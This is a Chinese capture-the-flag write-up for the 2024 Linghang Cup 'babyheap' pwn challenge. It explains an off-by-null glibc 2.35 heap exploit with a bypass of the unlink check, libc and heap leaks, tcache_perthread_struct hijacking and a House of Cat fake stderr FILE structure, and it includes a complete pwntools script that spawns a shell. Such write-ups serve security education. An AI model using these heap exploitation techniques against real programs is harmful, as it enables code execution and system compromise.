[2024领航杯] Pwn方向题解 babyheap
前言:
当然这个比赛我没有参加,是江苏省的一个比赛,附件是XiDP师傅在比赛结束之后发给我的,最近事情有点多,当时搁置了一天,昨天下午想起来这个事情,才开始看题目,XiDP师傅说是2.35版本的libc,确实高版本libc的却棘手,我经验太浅了调试半天,最后让我们一起看一下这个题目。
保护策略:
逆向分析:
功能很齐全啊,该有的都有
add函数最多存在11个堆块,没有大小限制
输入content的时候存在一个off_by_null漏洞
delete就是没有UAF漏洞,show函数是puts打印存在00截断。
edit函数只能用一次
关于泄露地址:
当然存在00截断我们无法直接泄露地址,那么就需要实现unlink来进行堆块重叠,来抵消off_by_null的00截断。
关于2.29之后off_by_null的说明:
当然在之前呢大家也可以看见,我们只需要伪造一个prev size位配合off_by_null即可完成unlink的一系列攻击而且当时只free第一个堆块的话fd和bk指针也不需要伪造了。但是在glibc2.29之后加入了检查,具体是怎么样的呢,它会检查你要释放堆块的prev size和前面堆块的size位大小是不是一样的,不一样的话就会报错,当然想要绕过这个检查就需要修改size位,其实思路的话我们可以申请7个堆块,释放0,3,6堆块,至于为什么这样,因为我们需要修改size位,因为chunk3在中间所以我们比较好修改它的size位,我们释放chunk2,那么chunk2,3合并成了一个大的chunk,然后去申请堆块修改chunk3的size位即可,建议直接修改到top_chunk那里,因为后续要实现unlink的话还是要add堆块的。
那么这里需要有一点点的堆风水,怎么说呢,因为存在off_by_null我们输入数据的时候会留下一个00,我们让chunk3的chunk地址存在到00的位置,那么在进行伪造fd和bk指针的时候就可以通过截断来指向chunk3,怎么做呢,因为chunk2,3合并了,修改chunk3之后留下了一个chunk,这个chunk只有最后一位和chunk3不一样,我们可以通过利用这个堆块和chunk0,6来达到伪造fd和bk的目的,当然chunk0的bk指针比较好伪造,chunk6的fd指针我们输入什么都会修改两位因此我们需要chunk5和chunk6合并来修改chunk6的fd指针使其指向chunk3,最后正常off_by_null即可。
后续的攻击:
当然限制堆地址和libc地址都有了还需要进行劫持相关的操作,因为2.34之后没有相关的_malloc_hook等这些钩子了,所以一开始我的想法是house of kiwi,但是发现这个版本的 _IO_helper_jumps没有可写的权限。
那么只好使用house of apple2 的相关连,house of cat(具体操作我前两篇博客里面有详细内容),但是我这里是直接修改了 stderr结构体,没有直接进行伪造但是我发现一个弊端,这样的话有点极限因为,我们无法修改太多空间如果越界修改了stdout的话会导致程序卡住,所以我在这里卡半天,一直在调试,期间我也发现了,不同版本之间一些利用链的判断条件有所不同需要进行微调。
伪造指针的情况
当然我是用的劫持tcache_ptheread_struct结构体来修改top_chunk和stderr的,因为我感觉largebin attack有点难操作,所以干脆之间修改stderr结构体了。
我是利用_malloc_assert来触发IO的,因为程序正常通过main函数返回所以也可以不用修改top_chunk,但是结构体要微调一些不然就这样了
EXP:
from gt import * con("amd64") io = process("./babyheap") libc = ELF("./libc.so.6") def add(size,msg): io.sendlineafter("> ","1") io.sendlineafter("size:",str(size)) io.sendlineafter("content:",msg) def free(index): io.sendlineafter("> ","2") io.sendlineafter("index:",str(index)) def show(index): io.sendlineafter("> ","3") io.sendlineafter("index:",str(index)) def edit(index,msg): io.sendlineafter("> ","4") io.sendlineafter("index:",str(index)) io.sendafter("new content:",msg) def exit(): io.sendlineafter("> ","5") add(0x418,'a') #0 add(0x1f8,'a') #1 add(0x448,'a') #2 add(0x438,'a') #3 add(0x208,'a') #4 add(0x418,'a') #5 add(0x428,'a') #6 add(0x208,'a') #7 free(0) free(3) free(6) #gdb.attach(io) free(2) #free(5) #gdb.attach(io) payload = b'a'*0x448 + b'\xb0\x10' add(0x468,payload) #gdb.attach(io) add(0x418,'a') add(0x428,'a') add(0x418,'a') #gdb.attach(io) free(6) free(2) add(0x418,'a'*8) free(3) free(5) #gdb.attach(io) payload = b'a'*0x418 + p64(0x431) add(0x500,payload) add(0x9f8,'a') add(0x408,'a') add(0x408,'a') payload = b'a'*0x200 + p64(0x10b0) edit(7,payload) free(5) add(0x430,'a') show(4) io.recv(1) libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x21ace0 suc("libc_base",libc_base) IO_hleper_jumps = libc_base + 0x216a00 suc("IO_hleper_jumps",IO_hleper_jumps) IO_file_jumps = libc_base + 0x217600 stderr = libc_base + 0x21b6a0 show(2) io.recvuntil('a'*8) heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1770 suc("heap_base",heap_base) top_chunk = heap_base + 0x1140 add(0x200,'a') free(9) free(7) key = (heap_base + 0x1000) >> 0xc payload = b'a'*0xa50 + p64(0x340) + p64(0x210) + p64(heap_base+0x10 ^ key) add(0xa70,payload) add(0x200,'a') add(0x200,b'\x07\x00'*0x40+p64(top_chunk)*20+p64(stderr)*25) free(7) free(8) system = libc_base + libc.sym["system"] fake_io_addr = stderr fake_IO_FILE = b'/bin/sh\x00' + p64(0x201) +p64(0) +p64(heap_base + 0x200)+p64(0) + p64(0)*3 fake_IO_FILE +=p64(1)+p64(0) #rcx fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx -----> setcontext + 61 fake_IO_FILE +=p64(system)#_IO_save_end=call addr rax+0x58 fake_IO_FILE =fake_IO_FILE.ljust(0x58,b'\x00') fake_IO_FILE +=p64(0) # _chain fake_IO_FILE =fake_IO_FILE.ljust(0x88,b'\x00') fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address fake_IO_FILE = fake_IO_FILE.ljust(0xa0,b'\x00') fake_IO_FILE +=p64(fake_io_addr -0x20) #rax1 fake_IO_FILE += p64(fake_io_addr + 0x40) fake_IO_FILE = fake_IO_FILE.ljust(0xc0,b'\x00') fake_IO_FILE += p64(fake_io_addr + 0x40) fake_IO_FILE = fake_IO_FILE.ljust(0xd8,b'\x00') fake_IO_FILE += p64(libc_base+0x2170c0+0x10-0x28) # vtable=_IO_wfile_jumps+0x10 fake_IO_FILE += p64(0x00000000fbad2800) + p64(libc_base + 0x21b803)*5 #fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0 #add(0x500,'b'*8) add(0x290,fake_IO_FILE) add(0xc0,p64(0)+p64(0x300)) io.sendlineafter("> ","1") #gdb.attach(io) io.sendlineafter("size:",str(0x500)) #gdb.attach(io) io.interactive()
最终效果